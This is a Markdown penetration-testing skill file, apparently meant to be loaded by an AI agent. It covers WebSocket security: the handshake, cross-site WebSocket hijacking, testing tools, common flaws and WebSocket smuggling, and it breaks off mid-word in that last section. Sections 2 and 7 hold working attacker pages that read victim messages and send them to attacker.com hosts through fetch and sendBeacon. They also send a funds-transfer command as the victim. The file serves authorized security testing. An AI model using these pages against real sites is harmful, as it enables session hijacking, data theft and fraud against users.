websocket-security

What this skill does

# SKILL: WebSocket Security

> **AI LOAD INSTRUCTION**: This skill covers WebSocket protocol basics, cross-site WebSocket hijacking (CSWSH), practical tooling bridges, and common vulnerability classes. Apply only in **authorized** tests; treat tokens and message content as sensitive. For REST/GraphQL companion testing, cross-load **[api-sec](../api-sec/SKILL.md)** when present in the workspace.

## 0. QUICK START

During proxy or raw traffic review, watch for:

```http
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Sec-WebSocket-Version: 13
Sec-WebSocket-Protocol: optional-subprotocol
```

Server success response indicators:

```http
HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYGzzhZRbK+xOo=
```

**Routing note**: in Burp/browser DevTools, filter for `101` and `Upgrade: websocket`; for deeper API testing, align authn/authz models through `api-sec`.

---

## 1. PROTOCOL BASICS

### Client request (typical)

- **`Upgrade: websocket`** and **`Connection: Upgrade`** — required upgrade handshake.
- **`Sec-WebSocket-Key`** — base64 nonce; server hashes with magic GUID and responds with **`Sec-WebSocket-Accept`**.
- **`Sec-WebSocket-Version: 13`** — current standard version for browser interoperability.

### Server response

- **`HTTP/1.1 101 Switching Protocols`** — handshake complete; subsequent frames are WebSocket binary/text frames per RFC.

Minimal conceptual flow:

```text
Client: HTTP GET + Upgrade headers
Server: 101 + Sec-WebSocket-Accept
Channel: framed messages (text/binary), ping/pong, close
```

---

## 2. CROSS-SITE WEBSOCKET HIJACKING (CSWSH)

### Condition

- The server **does not validate `Origin`** (or equivalent binding) on the WebSocket handshake, **and**
- The victim has an **active session** (cookie-based or browser-stored creds) to the target site.

Then a malicious page loaded in the victim’s browser may open a WebSocket **as the victim**, similar in spirit to CSRF but for a **persistent bidirectional channel**.

### Proof-of-concept pattern (laboratory / authorized target only)

```javascript
const ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = () => { ws.send('HELLO'); };
ws.onmessage = (event) => {
  fetch('https://attacker.example.net/?' + encodeURIComponent(event.data));
};
```

**Testing notes**: Confirm whether **`Origin`** is checked, whether **cookies** are sent (`SameSite` rules), and whether **subprotocol** or **custom headers** are required—missing checks increase CSWSH risk.

---

## 3. TESTING WITH TOOLS

### wsrepl

```bash
pip install wsrepl
wsrepl -u wss://target.example.com/ws -P auth_plugin.py
```

Use a **plugin** to reproduce browser cookies, headers, or token refresh during the WebSocket lifecycle.

### ws-harness (bridge to HTTP for other tools)

```bash
python ws-harness.py -u "ws://127.0.0.1:8765/path" -m ./message.txt
```

Example downstream use with SQL injection tooling over the bridged HTTP surface (adjust URL to local listener):

```bash
sqlmap -u "http://127.0.0.1:8000/?fuzz=test" --batch
```

### Burp Suite ecosystem

- **SocketSleuth** — inspect and manipulate WebSocket traffic inside Burp.
- **WebSocket Turbo Intruder** — high-rate or scripted message fuzzing.

---

## 4. COMMON VULNERABILITIES

| Issue | Why it matters |
|-------|----------------|
| Missing **`Origin`** validation | Enables **CSWSH** from attacker-controlled pages |
| **Auth token in URL** (`wss://host/ws?token=...`) | Logs, proxies, Referer leakage, browser history |
| **No rate limiting** on messages | Abuse, brute force, DoS |
| **`ws://` instead of `wss://`** | Cleartext on the wire (MITM) |
| **Injection in message bodies** | SQLi, command injection, or XSS if content is stored/reflected elsewhere |

Example sensitive URL anti-pattern:

```text
wss://api.example.com/stream?access_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
```

Prefer **Sec-WebSocket-Protocol**, **first-message auth**, or **cookie + CSRF token** patterns aligned with product constraints.

---

## 5. DECISION TREE

1. **Identify endpoint** — From JS bundles, Swagger, or `101` responses; note `wss` vs `ws`.
2. **Handshake review** — Are **`Origin`**, **Host**, and **Cookie** policies correct? Any token in query string?
3. **Session binding** — Reconnect with **another user’s** cookie jar in Burp; compare subscription topics and data leakage.
4. **CSWSH** — Load a **local HTML** page that connects to the target with victim session active; verify server rejects wrong **Origin** or uses non-cookie secret.
5. **Message semantics** — Fuzz JSON/text payloads for injection; mirror same logic as HTTP API testing.
6. **Transport** — Flag **`ws://`** in production; verify TLS and HSTS alignment.

---

## 6. RELATED ROUTING

- From **[api-sec](../api-sec/SKILL.md)** — authentication, authorization, IDOR, and rate limiting often **mirror** HTTP APIs behind the same WebSocket routes.

**Note**: WebSocket often shares session and permission models with REST; use `api-sec` to align authentication and resource boundaries on the same backend.

---

## 7. CSWSH — STEP-BY-STEP EXPLOITATION

### Step 1: Confirm no Origin check on WS handshake

```text
# In Burp: intercept the WebSocket upgrade request
# Change Origin header to: https://attacker.com
# If 101 Switching Protocols returned → no Origin validation
# If 403/rejected → Origin is checked (test subdomain variants)
```

### Step 2: Craft attacker page

```html
<html>
<body>
<script>
const ws = new WebSocket('wss://target.com/ws');

ws.onopen = function() {
    // Connection established as victim (cookies sent automatically)
    console.log('Connected as victim');
    // Send commands as victim
    ws.send(JSON.stringify({action: 'get_profile'}));
    ws.send(JSON.stringify({action: 'list_messages'}));
};

ws.onmessage = function(event) {
    // Exfiltrate all received messages
    fetch('https://attacker.com/collect', {
        method: 'POST',
        body: event.data
    });
};

ws.onerror = function(err) {
    fetch('https://attacker.com/error?e=' + encodeURIComponent(err));
};
</script>
</body>
</html>
```

### Step 3: Cookies and session hijacking

```text
Browser behavior for WebSocket:
- Cookies for the target domain ARE sent automatically in the upgrade request
- SameSite=None cookies always sent
- SameSite=Lax cookies: NOT sent (WebSocket is not top-level navigation)
- SameSite=Strict cookies: NOT sent

Key question: is the session cookie SameSite=None or legacy (no SameSite attribute)?
→ Legacy cookies default to Lax in modern Chrome but None in older browsers
```

### Step 4: Read/write messages as victim

```javascript
// Attacker can both READ and WRITE on the WebSocket
// Read: financial data, private messages, admin commands
// Write: transfer funds, change settings, send messages as victim

ws.onopen = () => {
    // Write: perform actions as victim
    ws.send(JSON.stringify({
        action: 'transfer',
        to: 'attacker_account',
        amount: 10000
    }));
};

ws.onmessage = (e) => {
    const data = JSON.parse(e.data);
    if (data.type === 'balance') {
        // Read: exfiltrate sensitive data
        navigator.sendBeacon('https://attacker.com/data',
            JSON.stringify(data));
    }
};
```

---

## 8. WEBSOCKET SMUGGLING

### Concept

Use the WebSocket upgrade to bypass reverse proxy restrictions, then tunnel arbitrary HTTP traffic through the WebSocket connection.

### Upgrade-based proxy bypass

```text
1. Reverse proxy restricts access to /admin (returns 403)
2. Client sends legitimate WebSocket upgrade to /ws
3. Proxy allows the upgrade (101 response)
4. After upgrade, proxy stops inspecting the connection (raw TCP passthrough)
5. Client sends raw HTTP request through the "WebSocket" connection:
   GET /admin HTTP/1.1
   Host: backend-server
6. Backend processes the HTTP request → 200 OK with admin content
```

### H2-over-WebSocket smuggling

```text
1. Co